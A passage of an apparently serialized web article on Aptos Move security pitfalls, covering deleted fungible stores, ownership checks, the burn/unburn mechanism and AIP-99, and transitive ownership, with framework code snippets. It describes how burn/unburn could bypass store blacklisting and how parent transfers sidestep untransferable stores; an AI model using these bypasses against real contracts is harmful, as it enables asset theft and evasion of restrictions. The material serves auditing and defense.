[...]\n}\n",[62391],{"type":23,"tag":56,"props":62392,"children":62393},{"__ignoreMap":7},[62394,62449,62501,62516],{"type":23,"tag":504,"props":62395,"children":62396},{"class":506,"line":507},[62397,62401,62405,62409,62413,62417,62421,62425,62429,62433,62437,62441,62445],{"type":23,"tag":504,"props":62398,"children":62399},{"style":529},[62400],{"type":28,"value":60654},{"type":23,"tag":504,"props":62402,"children":62403},{"style":529},[62404],{"type":28,"value":1051},{"type":23,"tag":504,"props":62406,"children":62407},{"style":517},[62408],{"type":28,"value":62250},{"type":23,"tag":504,"props":62410,"children":62411},{"style":523},[62412],{"type":28,"value":526},{"type":23,"tag":504,"props":62414,"children":62415},{"style":529},[62416],{"type":28,"value":62259},{"type":23,"tag":504,"props":62418,"children":62419},{"style":598},[62420],{"type":28,"value":3472},{"type":23,"tag":504,"props":62422,"children":62423},{"style":598},[62424],{"type":28,"value":6125},{"type":23,"tag":504,"props":62426,"children":62427},{"style":1012},[62428],{"type":28,"value":62272},{"type":23,"tag":504,"props":62430,"children":62431},{"style":523},[62432],{"type":28,"value":2064},{"type":23,"tag":504,"props":62434,"children":62435},{"style":529},[62436],{"type":28,"value":5327},{"type":23,"tag":504,"props":62438,"children":62439},{"style":523},[62440],{"type":28,"value":566},{"type":23,"tag":504,"props":62442,"children":62443},{"style":598},[62444],{"type":28,"value":8572},{"type":23,"tag":504,"props":62446,"children":62447},{"style":523},[62448],{"type":28,"value":60745},{"type":23,"tag":504,"props":62450,"children":62451},{"class":506,"line":540},[62452,62456,62460,62464,62468,62472,62476,62481,62485,62489,62493,62497],{"type":23,"tag":504,"props":62453,"children":62454},{"style":511},[62455],{"type":28,"value":1977},{"type":23,"tag":504,"props":62457,"children":62458},{"style":529},[62459],{"type":28,"value":4814},{"type":23,"tag":504,"props":62461,"children":62462},{"style":598},[62463],{"type":28,"value":648},{"type":23,"tag":504,"props":62465,"children":62466},{"style":598},[62467],{"type":28,"value":6125},{"type":23,"tag":504,"props":62469,"children":62470},{"style":523},[62471],{"type":28,"value":61889},{"type":23,"tag":504,"props":62473,"children":62474},{"style":598},[62475],{"type":28,"value":2457},{"type":23,"tag":504,"props":62477,"children":62478},{"style":529},[62479],{"type":28,"value":62480},"object_from_delete_ref",{"type":23,"tag":504,"props":62482,"children":62483},{"style":523},[62484],{"type":28,"value":4789},{"type":23,"tag":504,"props":62486,"children":62487},{"style":1012},[62488],{"type":28,"value":61055},{"type":23,"tag":504,"props":62490,"children":62491},{"style":523},[62492],{"type":28,"value":6594},{"type":23,"tag":504,"props":62494,"children":62495},{"style":529},[62496],{"type":28,"value":62259},{"type":23,"tag":504,"props":62498,"children":62499},{"style":523},[62500],{"type":28,"value":630},{"type":23,"tag":504,"props":62502,"children":62503},{"class":506,"line":555},[62504,62508,62512],{"type":23,"tag":504,"props":62505,"children":62506},{"style":523},[62507],{"type":28,"value":61697},{"type":23,"tag":504,"props":62509,"children":62510},{"style":598},[62511],{"type":28,"value":8572},{"type":23,"tag":504,"props":62513,"children":62514},{"style":523},[62515],{"type":28,"value":10754},{"type":23,"tag":504,"props":62517,"children":62518},{"class":506,"line":633},[62519],{"type":23,"tag":504,"props":62520,"children":62521},{"style":523},[62522],{"type":28,"value":884},{"type":23,"tag":24,"props":62524,"children":62525},{},[62526,62528,62533,62535,62541,62543,62548],{"type":28,"value":62527},"In addition, such \"deleted\" ",{"type":23,"tag":56,"props":62529,"children":62531},{"className":62530},[],[62532],{"type":28,"value":61055},{"type":28,"value":62534}," objects remain at least partially operable. For instance, ",{"type":23,"tag":56,"props":62536,"children":62538},{"className":62537},[],[62539],{"type":28,"value":62540},"fungible_asset::deposit",{"type":28,"value":62542}," does not check the ",{"type":23,"tag":56,"props":62544,"children":62546},{"className":62545},[],[62547],{"type":28,"value":47830},{"type":28,"value":62549}," existence.",{"type":23,"tag":82,"props":62551,"children":62553},{"id":62552},"ownership",[62554],{"type":28,"value":62555},"Ownership",{"type":23,"tag":24,"props":62557,"children":62558},{},[62559,62561,62566,62568,62574,62576,62581],{"type":28,"value":62560},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":56,"props":62562,"children":62564},{"className":62563},[],[62565],{"type":28,"value":47830},{"type":28,"value":62567}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":56,"props":62569,"children":62571},{"className":62570},[],[62572],{"type":28,"value":62573},"object::owns",{"type":28,"value":62575}," to confirm ownership of the ",{"type":23,"tag":56,"props":62577,"children":62579},{"className":62578},[],[62580],{"type":28,"value":61055},{"type":28,"value":49156},{"type":23,"tag":494,"props":62583,"children":62585},{"className":1957,"code":62584,"language":1956,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[62586],{"type":23,"tag":56,"props":62587,"children":62588},{"__ignoreMap":7},[62589,62637,62661,62688,62708,62736,62804,62819],{"type":23,"tag":504,"props":62590,"children":62591},{"class":506,"line":507},[62592,62596,62600,62604,62608,62612,62617,62621,62625,62629,62633],{"type":23,"tag":504,"props":62593,"children":62594},{"style":517},[62595],{"type":28,"value":60654},{"type":23,"tag":504,"props":62597,"children":62598},{"style":523},[62599],{"type":28,"value":526},{"type":23,"tag":504,"props":62601,"children":62602},{"style":529},[62603],{"type":28,"value":6082},{"type":23,"tag":504,"props":62605,"children":62606},{"style":523},[62607],{"type":28,"value":2064},{"type":23,"tag":504,"props":62609,"children":62610},{"style":529},[62611],{"type":28,"value":6091},{"type":23,"tag":504,"props":62613,"children":62614},{"style":529},[62615],{"type":28,"value":62616}," withdraw_sanity_check",{"type":23,"tag":504,"props":62618,"children":62619},{"style":523},[62620],{"type":28,"value":4789},{"type":23,"tag":504,"props":62622,"children":62623},{"style":1012},[62624],{"type":28,"value":4971},{"type":23,"tag":504,"props":62626,"children":62627},{"style":598},[62628],{"type":28,"value":3472},{"type":23,"tag":504,"props":62630,"children":62631},{"style":529},[62632],{"type":28,"value":4915},{"type":23,"tag":504,"props":62634,"children":62635},{"style":523},[62636],{"type":28,"value":5572},{"type":23,"tag":504,"props":62638,"children":62639},{"class":506,"line":540},[62640,62645,62649,62653,62657],{"type":23,"tag":504,"props":62641,"children":62642},{"style":529},[62643],{"type":28,"value":62644},"    owner",{"type":23,"tag":504,"props":62646,"children":62647},{"style":598},[62648],{"type":28,"value":3472},{"type":23,"tag":504,"props":62650,"children":62651},{"style":598},[62652],{"type":28,"value":6125},{"type":23,"tag":504,"props":62654,"children":62655},{"style":529},[62656],{"type":28,"value":6130},{"type":23,"tag":504,"props":62658,"children":62659},{"style":523},[62660],{"type":28,"value":2484},{"type":23,"tag":504,"props":62662,"children":62663},{"class":506,"line":555},[62664,62668,62672,62676,62680,62684],{"type":23,"tag":504,"props":62665,"children":62666},{"style":529},[62667],{"type":28,"value":28395},{"type":23,"tag":504,"props":62669,"children":62670},{"style":598},[62671],{"type":28,"value":3472},{"type":23,"tag":504,"props":62673,"children":62674},{"style":1012},[62675],{"type":28,"value":60540},{"type":23,"tag":504,"props":62677,"children":62678},{"style":523},[62679],{"type":28,"value":4789},{"type":23,"tag":504,"props":62681,"children":62682},{"style":1012},[62683],{"type":28,"value":4971},{"type":23,"tag":504,"props":62685,"children":62686},{"style":523},[62687],{"type":28,"value":5122},{"type":23,"tag":504,"props":62689,"children":62690},{"class":506,"line":633},[62691,62696,62700,62704],{"type":23,"tag":504,"props":62692,"children":62693},{"style":529},[62694],{"type":28,"value":62695},"    abort_on_dispatch",{"type":23,"tag":504,"props":62697,"children":62698},{"style":598},[62699],{"type":28,"value":3472},{"type":23,"tag":504,"props":62701,"children":62702},{"style":1012},[62703],{"type":28,"value":11032},{"type":23,"tag":504,"props":62705,"children":62706},{"style":523},[62707],{"type":28,"value":2484},{"type":23,"tag":504,"props":62709,"children":62710},{"class":506,"line":687},[62711,62715,62719,62723,62727,62732],{"type":23,"tag":504,"props":62712,"children":62713},{"style":523},[62714],{"type":28,"value":2064},{"type":23,"tag":504,"props":62716,"children":62717},{"style":529},[62718],{"type":28,"value":5327},{"type":23,"tag":504,"props":62720,"children":62721},{"style":1012},[62722],{"type":28,"value":61075},{"type":23,"tag":504,"props":62724,"children":62725},{"style":523},[62726],{"type":28,"value":576},{"type":23,"tag":504,"props":62728,"children":62729},{"style":1012},[62730],{"type":28,"value":62731},"DispatchFunctionStore",{"type":23,"tag":504,"props":62733,"children":62734},{"style":523},[62735],{"type":28,"value":552},{"type":23,"tag":504,"props":62737,"children":62738},{"class":506,"line":736},[62739,62743,62748,62752,62757,62761,62765,62769,62773,62777,62781,62785,62790,62794,62799],{"type":23,"tag":504,"props":62740,"children":62741},{"style":517},[62742],{"type":28,"value":61323},{"type":23,"tag":504,"props":62744,"children":62745},{"style":523},[62746],{"type":28,"value":62747},"(object",{"type":23,"tag":504,"props":62749,"children":62750},{"style":598},[62751],{"type":28,"value":2457},{"type":23,"tag":504,"props":62753,"children":62754},{"style":517},[62755],{"type":28,"value":62756},"owns",{"type":23,"tag":504,"props":62758,"children":62759},{"style":523},[62760],{"type":28,"value":526},{"type":23,"tag":504,"props":62762,"children":62763},{"style":529},[62764],{"type":28,"value":4924},{"type":23,"tag":504,"props":62766,"children":62767},{"style":523},[62768],{"type":28,"value":11917},{"type":23,"tag":504,"props":62770,"children":62771},{"style":598},[62772],{"type":28,"value":2457},{"type":23,"tag":504,"props":62774,"children":62775},{"style":517},[62776],{"type":28,"value":6193},{"type":23,"tag":504,"props":62778,"children":62779},{"style":523},[62780],{"type":28,"value":526},{"type":23,"tag":504,"props":62782,"children":62783},{"style":529},[62784],{"type":28,"value":14590},{"type":23,"tag":504,"props":62786,"children":62787},{"style":523},[62788],{"type":28,"value":62789},")), error",{"type":23,"tag":504,"props":62791,"children":62792},{"style":598},[62793],{"type":28,"value":2457},{"type":23,"tag":504,"props":62795,"children":62796},{"style":517},[62797],{"type":28,"value":62798},"permission_denied",{"type":23,"tag":504,"props":62800,"children":62801},{"style":523},[62802],{"type":28,"value":62803},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":504,"props":62805,"children":62806},{"class":506,"line":785},[62807,62811,62815],{"type":23,"tag":504,"props":62808,"children":62809},{"style":523},[62810],{"type":28,"value":61697},{"type":23,"tag":504,"props":62812,"children":62813},{"style":598},[62814],{"type":28,"value":8572},{"type":23,"tag":504,"props":62816,"children":62817},{"style":523},[62818],{"type":28,"value":10754},{"type":23,"tag":504,"props":62820,"children":62821},{"class":506,"line":813},[62822],{"type":23,"tag":504,"props":62823,"children":62824},{"style":523},[62825],{"type":28,"value":884},{"type":23,"tag":24,"props":62827,"children":62828},{},[62829,62831,62836,62838,62844,62846,62852],{"type":28,"value":62830},"The thing to note is that defining ownership with ",{"type":23,"tag":56,"props":62832,"children":62834},{"className":62833},[],[62835],{"type":28,"value":62573},{"type":28,"value":62837}," can be tricky. The ",{"type":23,"tag":56,"props":62839,"children":62841},{"className":62840},[],[62842],{"type":28,"value":62843},"burn",{"type":28,"value":62845}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":56,"props":62847,"children":62849},{"className":62848},[],[62850],{"type":28,"value":62851},"BURN_ADDRESS",{"type":28,"value":62853}," while bypassing transfer restrictions:",{"type":23,"tag":494,"props":62855,"children":62857},{"className":1957,"code":62856,"language":1956,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[62858],{"type":23,"tag":56,"props":62859,"children":62860},{"__ignoreMap":7},[62861,62958,62999,63049,63078,63128,63149],{"type":23,"tag":504,"props":62862,"children":62863},{"class":506,"line":507},[62864,62868,62872,62876,62881,62885,62889,62893,62897,62901,62905,62909,62913,62917,62921,62925,62929,62933,62937,62941,62945,62949,62954],{"type":23,"tag":504,"props":62865,"children":62866},{"style":529},[62867],{"type":28,"value":60654},{"type":23,"tag":504,"props":62869,"children":62870},{"style":529},[62871],{"type":28,"value":61621},{"type":23,"tag":504,"props":62873,"children":62874},{"style":529},[62875],{"type":28,"value":1051},{"type":23,"tag":504,"props":62877,"children":62878},{"style":529},[62879],{"type":28,"value":62880}," burn",{"type":23,"tag":504,"props":62882,"children":62883},{"style":523},[62884],{"type":28,"value":4789},{"type":23,"tag":504,"props":62886,"children":62887},{"style":1012},[62888],{"type":28,"value":4971},{"type":23,"tag":504,"props":62890,"children":62891},{"style":598},[62892],{"type":28,"value":3472},{"type":23,"tag":504,"props":62894,"children":62895},{"style":529},[62896],{"type":28,"value":4915},{"type":23,"tag":504,"props":62898,"children":62899},{"style":523},[62900],{"type":28,"value":6594},{"type":23,"tag":504,"props":62902,"children":62903},{"style":529},[62904],{"type":28,"value":14590},{"type":23,"tag":504,"props":62906,"children":62907},{"style":598},[62908],{"type":28,"value":3472},{"type":23,"tag":504,"props":62910,"children":62911},{"style":598},[62912],{"type":28,"value":6125},{"type":23,"tag":504,"props":62914,"children":62915},{"style":529},[62916],{"type":28,"value":6130},{"type":23,"tag":504,"props":62918,"children":62919},{"style":523},[62920],{"type":28,"value":576},{"type":23,"tag":504,"props":62922,"children":62923},{"style":529},[62924],{"type":28,"value":61889},{"type":23,"tag":504,"props":62926,"children":62927},{"style":598},[62928],{"type":28,"value":3472},{"type":23,"tag":504,"props":62930,"children":62931},{"style":1012},[62932],{"type":28,"value":60540},{"type":23,"tag":504,"props":62934,"children":62935},{"style":523},[62936],{"type":28,"value":4789},{"type":23,"tag":504,"props":62938,"children":62939},{"style":1012},[62940],{"type":28,"value":4971},{"type":23,"tag":504,"props":62942,"children":62943},{"style":523},[62944],{"type":28,"value":19428},{"type":23,"tag":504,"props":62946,"children":62947},{"style":529},[62948],{"type":28,"value":5327},{"type":23,"tag":504,"props":62950,"children":62951},{"style":1012},[62952],{"type":28,"value":62953}," ObjectCore",{"type":23,"tag":504,"props":62955,"children":62956},{"style":523},[62957],{"type":28,"value":552},{"type":23,"tag":504,"props":62959,"children":62960},{"class":506,"line":540},[62961,62965,62970,62974,62979,62983,62987,62991,62995],{"type":23,"tag":504,"props":62962,"children":62963},{"style":511},[62964],{"type":28,"value":1977},{"type":23,"tag":504,"props":62966,"children":62967},{"style":529},[62968],{"type":28,"value":62969}," original_owner",{"type":23,"tag":504,"props":62971,"children":62972},{"style":598},[62973],{"type":28,"value":648},{"type":23,"tag":504,"props":62975,"children":62976},{"style":523},[62977],{"type":28,"value":62978}," signer",{"type":23,"tag":504,"props":62980,"children":62981},{"style":598},[62982],{"type":28,"value":2457},{"type":23,"tag":504,"props":62984,"children":62985},{"style":517},[62986],{"type":28,"value":6193},{"type":23,"tag":504,"props":62988,"children":62989},{"style":523},[62990],{"type":28,"value":526},{"type":23,"tag":504,"props":62992,"children":62993},{"style":529},[62994],{"type":28,"value":14590},{"type":23,"tag":504,"props":62996,"children":62997},{"style":523},[62998],{"type":28,"value":630},{"type":23,"tag":504,"props":63000,"children":63001},{"class":506,"line":555},[63002,63006,63010,63015,63019,63023,63027,63032,63036,63040,63044],{"type":23,"tag":504,"props":63003,"children":63004},{"style":517},[63005],{"type":28,"value":61323},{"type":23,"tag":504,"props":63007,"children":63008},{"style":523},[63009],{"type":28,"value":526},{"type":23,"tag":504,"props":63011,"children":63012},{"style":517},[63013],{"type":28,"value":63014},"is_owner",{"type":23,"tag":504,"props":63016,"children":63017},{"style":523},[63018],{"type":28,"value":526},{"type":23,"tag":504,"props":63020,"children":63021},{"style":529},[63022],{"type":28,"value":61889},{"type":23,"tag":504,"props":63024,"children":63025},{"style":523},[63026],{"type":28,"value":576},{"type":23,"tag":504,"props":63028,"children":63029},{"style":529},[63030],{"type":28,"value":63031},"original_owner",{"type":23,"tag":504,"props":63033,"children":63034},{"style":523},[63035],{"type":28,"value":61912},{"type":23,"tag":504,"props":63037,"children":63038},{"style":598},[63039],{"type":28,"value":2457},{"type":23,"tag":504,"props":63041,"children":63042},{"style":517},[63043],{"type":28,"value":62798},{"type":23,"tag":504,"props":63045,"children":63046},{"style":523},[63047],{"type":28,"value":63048},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":504,"props":63050,"children":63051},{"class":506,"line":633},[63052,63056,63061,63065,63069,63073],{"type":23,"tag":504,"props":63053,"children":63054},{"style":511},[63055],{"type":28,"value":1977},{"type":23,"tag":504,"props":63057,"children":63058},{"style":529},[63059],{"type":28,"value":63060}," object_addr",{"type":23,"tag":504,"props":63062,"children":63063},{"style":598},[63064],{"type":28,"value":648},{"type":23,"tag":504,"props":63066,"children":63067},{"style":529},[63068],{"type":28,"value":61473},{"type":23,"tag":504,"props":63070,"children":63071},{"style":598},[63072],{"type":28,"value":320},{"type":23,"tag":504,"props":63074,"children":63075},{"style":523},[63076],{"type":28,"value":63077},"inner;\n",{"type":23,"tag":504,"props":63079,"children":63080},{"class":506,"line":687},[63081,63085,63089,63093,63098,63102,63107,63111,63116,63120,63124],{"type":23,"tag":504,"props":63082,"children":63083},{"style":517},[63084],{"type":28,"value":62076},{"type":23,"tag":504,"props":63086,"children":63087},{"style":523},[63088],{"type":28,"value":526},{"type":23,"tag":504,"props":63090,"children":63091},{"style":598},[63092],{"type":28,"value":2086},{"type":23,"tag":504,"props":63094,"children":63095},{"style":517},[63096],{"type":28,"value":63097},"create_signer",{"type":23,"tag":504,"props":63099,"children":63100},{"style":523},[63101],{"type":28,"value":526},{"type":23,"tag":504,"props":63103,"children":63104},{"style":529},[63105],{"type":28,"value":63106},"object_addr",{"type":23,"tag":504,"props":63108,"children":63109},{"style":523},[63110],{"type":28,"value":14157},{"type":23,"tag":504,"props":63112,"children":63113},{"style":1012},[63114],{"type":28,"value":63115},"TombStone",{"type":23,"tag":504,"props":63117,"children":63118},{"style":523},[63119],{"type":28,"value":747},{"type":23,"tag":504,"props":63121,"children":63122},{"style":529},[63123],{"type":28,"value":63031},{"type":23,"tag":504,"props":63125,"children":63126},{"style":523},[63127],{"type":28,"value":37811},{"type":23,"tag":504,"props":63129,"children":63130},{"class":506,"line":736},[63131,63136,63140,63144],{"type":23,"tag":504,"props":63132,"children":63133},{"style":517},[63134],{"type":28,"value":63135},"    transfer_raw_inner",{"type":23,"tag":504,"props":63137,"children":63138},{"style":523},[63139],{"type":28,"value":526},{"type":23,"tag":504,"props":63141,"children":63142},{"style":529},[63143],{"type":28,"value":63106},{"type":23,"tag":504,"props":63145,"children":63146},{"style":523},[63147],{"type":28,"value":63148},", BURN_ADDRESS);\n",{"type":23,"tag":504,"props":63150,"children":63151},{"class":506,"line":785},[63152],{"type":23,"tag":504,"props":63153,"children":63154},{"style":523},[63155],{"type":28,"value":884},{"type":23,"tag":24,"props":63157,"children":63158},{},[63159,63165,63167,63172,63173,63180,63182,63187],{"type":23,"tag":56,"props":63160,"children":63162},{"className":63161},[],[63163],{"type":28,"value":63164},"unburn",{"type":28,"value":63166}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":56,"props":63168,"children":63170},{"className":63169},[],[63171],{"type":28,"value":62851},{"type":28,"value":17512},{"type":23,"tag":92,"props":63174,"children":63177},{"href":63175,"rel":63176},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[96],[63178],{"type":28,"value":63179},"AIP-99",{"type":28,"value":63181}," is a proposal to roll back the ",{"type":23,"tag":56,"props":63183,"children":63185},{"className":63184},[],[63186],{"type":28,"value":62843},{"type":28,"value":63188}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":1909,"props":63190,"children":63191},{},[63192],{"type":23,"tag":24,"props":63193,"children":63194},{},[63195,63197,63201],{"type":28,"value":63196},"This ",{"type":23,"tag":504,"props":63198,"children":63199},{},[63200],{"type":28,"value":63179},{"type":28,"value":63202}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":24,"props":63204,"children":63205},{},[63206,63208,63214,63216,63221,63223,63228],{"type":28,"value":63207},"Another important thing is that ",{"type":23,"tag":56,"props":63209,"children":63211},{"className":63210},[],[63212],{"type":28,"value":63213},"fungible_asset::set_untransferable",{"type":28,"value":63215}," can be used to make all new ",{"type":23,"tag":56,"props":63217,"children":63219},{"className":63218},[],[63220],{"type":28,"value":61559},{"type":28,"value":63222}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":56,"props":63224,"children":63226},{"className":63225},[],[63227],{"type":28,"value":61055},{"type":28,"value":320},{"type":23,"tag":24,"props":63230,"children":63231},{},[63232,63234,63239,63241,63247,63249,63254,63256,63261],{"type":28,"value":63233},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":56,"props":63235,"children":63237},{"className":63236},[],[63238],{"type":28,"value":61055},{"type":28,"value":63240},", X can withdraw from that store. This is because ",{"type":23,"tag":56,"props":63242,"children":63244},{"className":63243},[],[63245],{"type":28,"value":63246},"fungible_asset::withdraw",{"type":28,"value":63248}," uses ",{"type":23,"tag":56,"props":63250,"children":63252},{"className":63251},[],[63253],{"type":28,"value":62573},{"type":28,"value":63255}," to verify both direct and indirect ownership of the ",{"type":23,"tag":56,"props":63257,"children":63259},{"className":63258},[],[63260],{"type":28,"value":61055},{"type":28,"value":49156},{"type":23,"tag":494,"props":63263,"children":63265},{"className":1957,"code":63264,"language":1956,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[63266],{"type":23,"tag":56,"props":63267,"children":63268},{"__ignoreMap":7},[63269,63330,63346,63376,63405,63420,63432,63462,63483,63490,63530,63555,63562],{"type":23,"tag":504,"props":63270,"children":63271},{"class":506,"line":507},[63272,63276,63281,63285,63289,63293,63297,63301,63306,63310,63314,63318,63322,63326],{"type":23,"tag":504,"props":63273,"children":63274},{"style":529},[63275],{"type":28,"value":6091},{"type":23,"tag":504,"props":63277,"children":63278},{"style":517},[63279],{"type":28,"value":63280}," verify_ungated_and_descendant",{"type":23,"tag":504,"props":63282,"children":63283},{"style":523},[63284],{"type":28,"value":526},{"type":23,"tag":504,"props":63286,"children":63287},{"style":529},[63288],{"type":28,"value":14590},{"type":23,"tag":504,"props":63290,"children":63291},{"style":598},[63292],{"type":28,"value":3472},{"type":23,"tag":504,"props":63294,"children":63295},{"style":529},[63296],{"type":28,"value":5233},{"type":23,"tag":504,"props":63298,"children":63299},{"style":523},[63300],{"type":28,"value":576},{"type":23,"tag":504,"props":63302,"children":63303},{"style":529},[63304],{"type":28,"value":63305},"destination",{"type":23,"tag":504,"props":63307,"children":63308},{"style":598},[63309],{"type":28,"value":3472},{"type":23,"tag":504,"props":63311,"children":63312},{"style":529},[63313],{"type":28,"value":5233},{"type":23,"tag":504,"props":63315,"children":63316},{"style":523},[63317],{"type":28,"value":2064},{"type":23,"tag":504,"props":63319,"children":63320},{"style":529},[63321],{"type":28,"value":5327},{"type":23,"tag":504,"props":63323,"children":63324},{"style":1012},[63325],{"type":28,"value":62953},{"type":23,"tag":504,"props":63327,"children":63328},{"style":523},[63329],{"type":28,"value":552},{"type":23,"tag":504,"props":63331,"children":63332},{"class":506,"line":540},[63333,63338,63342],{"type":23,"tag":504,"props":63334,"children":63335},{"style":523},[63336],{"type":28,"value":63337},"        [",{"type":23,"tag":504,"props":63339,"children":63340},{"style":598},[63341],{"type":28,"value":8572},{"type":23,"tag":504,"props":63343,"children":63344},{"style":523},[63345],{"type":28,"value":10754},{"type":23,"tag":504,"props":63347,"children":63348},{"class":506,"line":555},[63349,63354,63358,63362,63367,63372],{"type":23,"tag":504,"props":63350,"children":63351},{"style":544},[63352],{"type":28,"value":63353},"    while",{"type":23,"tag":504,"props":63355,"children":63356},{"style":523},[63357],{"type":28,"value":801},{"type":23,"tag":504,"props":63359,"children":63360},{"style":529},[63361],{"type":28,"value":14590},{"type":23,"tag":504,"props":63363,"children":63364},{"style":598},[63365],{"type":28,"value":63366}," !=",{"type":23,"tag":504,"props":63368,"children":63369},{"style":529},[63370],{"type":28,"value":63371}," current_address",{"type":23,"tag":504,"props":63373,"children":63374},{"style":523},[63375],{"type":28,"value":537},{"type":23,"tag":504,"props":63377,"children":63378},{"class":506,"line":633},[63379,63384,63388,63393,63397,63401],{"type":23,"tag":504,"props":63380,"children":63381},{"style":529},[63382],{"type":28,"value":63383},"        count",{"type":23,"tag":504,"props":63385,"children":63386},{"style":598},[63387],{"type":28,"value":648},{"type":23,"tag":504,"props":63389,"children":63390},{"style":529},[63391],{"type":28,"value":63392}," count",{"type":23,"tag":504,"props":63394,"children":63395},{"style":598},[63396],{"type":28,"value":7888},{"type":23,"tag":504,"props":63398,"children":63399},{"style":1440},[63400],{"type":28,"value":3504},{"type":23,"tag":504,"props":63402,"children":63403},{"style":523},[63404],{"type":28,"value":866},{"type":23,"tag":504,"props":63406,"children":63407},{"class":506,"line":687},[63408,63412,63416],{"type":23,"tag":504,"props":63409,"children":63410},{"style":523},[63411],{"type":28,"value":63337},{"type":23,"tag":504,"props":63413,"children":63414},{"style":598},[63415],{"type":28,"value":8572},{"type":23,"tag":504,"props":63417,"children":63418},{"style":523},[63419],{"type":28,"value":10754},{"type":23,"tag":504,"props":63421,"children":63422},{"class":506,"line":736},[63423,63428],{"type":23,"tag":504,"props":63424,"children":63425},{"style":517},[63426],{"type":28,"value":63427},"        assert!",{"type":23,"tag":504,"props":63429,"children":63430},{"style":523},[63431],{"type":28,"value":2439},{"type":23,"tag":504,"props":63433,"children":63434},{"class":506,"line":785},[63435,63440,63444,63449,63453,63458],{"type":23,"tag":504,"props":63436,"children":63437},{"style":529},[63438],{"type":28,"value":63439},"            exists",{"type":23,"tag":504,"props":63441,"children":63442},{"style":523},[63443],{"type":28,"value":4789},{"type":23,"tag":504,"props":63445,"children":63446},{"style":1012},[63447],{"type":28,"value":63448},"ObjectCore",{"type":23,"tag":504,"props":63450,"children":63451},{"style":523},[63452],{"type":28,"value":6594},{"type":23,"tag":504,"props":63454,"children":63455},{"style":529},[63456],{"type":28,"value":63457},"current_address",{"type":23,"tag":504,"props":63459,"children":63460},{"style":523},[63461],{"type":28,"value":5720},{"type":23,"tag":504,"props":63463,"children":63464},{"class":506,"line":813},[63465,63470,63474,63478],{"type":23,"tag":504,"props":63466,"children":63467},{"style":523},[63468],{"type":28,"value":63469},"            error",{"type":23,"tag":504,"props":63471,"children":63472},{"style":598},[63473],{"type":28,"value":2457},{"type":23,"tag":504,"props":63475,"children":63476},{"style":517},[63477],{"type":28,"value":62798},{"type":23,"tag":504,"props":63479,"children":63480},{"style":523},[63481],{"type":28,"value":63482},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":504,"props":63484,"children":63485},{"class":506,"line":851},[63486],{"type":23,"tag":504,"props":63487,"children":63488},{"style":523},[63489],{"type":28,"value":6726},{"type":23,"tag":504,"props":63491,"children":63492},{"class":506,"line":869},[63493,63497,63501,63505,63510,63514,63518,63522,63526],{"type":23,"tag":504,"props":63494,"children":63495},{"style":511},[63496],{"type":28,"value":2041},{"type":23,"tag":504,"props":63498,"children":63499},{"style":529},[63500],{"type":28,"value":61473},{"type":23,"tag":504,"props":63502,"children":63503},{"style":598},[63504],{"type":28,"value":648},{"type":23,"tag":504,"props":63506,"children":63507},{"style":529},[63508],{"type":28,"value":63509}," borrow_global",{"type":23,"tag":504,"props":63511,"children":63512},{"style":523},[63513],{"type":28,"value":4789},{"type":23,"tag":504,"props":63515,"children":63516},{"style":1012},[63517],{"type":28,"value":63448},{"type":23,"tag":504,"props":63519,"children":63520},{"style":523},[63521],{"type":28,"value":6594},{"type":23,"tag":504,"props":63523,"children":63524},{"style":529},[63525],{"type":28,"value":63457},{"type":23,"tag":504,"props":63527,"children":63528},{"style":523},[63529],{"type":28,"value":630},{"type":23,"tag":504,"props":63531,"children":63532},{"class":506,"line":878},[63533,63538,63542,63546,63550],{"type":23,"tag":504,"props":63534,"children":63535},{"style":529},[63536],{"type":28,"value":63537},"        current_address",{"type":23,"tag":504,"props":63539,"children":63540},{"style":598},[63541],{"type":28,"value":648},{"type":23,"tag":504,"props":63543,"children":63544},{"style":529},[63545],{"type":28,"value":61473},{"type":23,"tag":504,"props":63547,"children":63548},{"style":598},[63549],{"type":28,"value":320},{"type":23,"tag":504,"props":63551,"children":63552},{"style":523},[63553],{"type":28,"value":63554},"owner;\n",{"type":23,"tag":504,"props":63556,"children":63557},{"class":506,"line":1221},[63558],{"type":23,"tag":504,"props":63559,"children":63560},{"style":523},[63561],{"type":28,"value":37973},{"type":23,"tag":504,"props":63563,"children":63564},{"class":506,"line":1276},[63565],{"type":23,"tag":504,"props":63566,"children":63567},{"style":523},[63568],{"type":28,"value":884},{"type":23,"tag":24,"props":63570,"children":63571},{},[63572,63574,63579],{"type":28,"value":63573},"This could allow for bypassing assumptions about 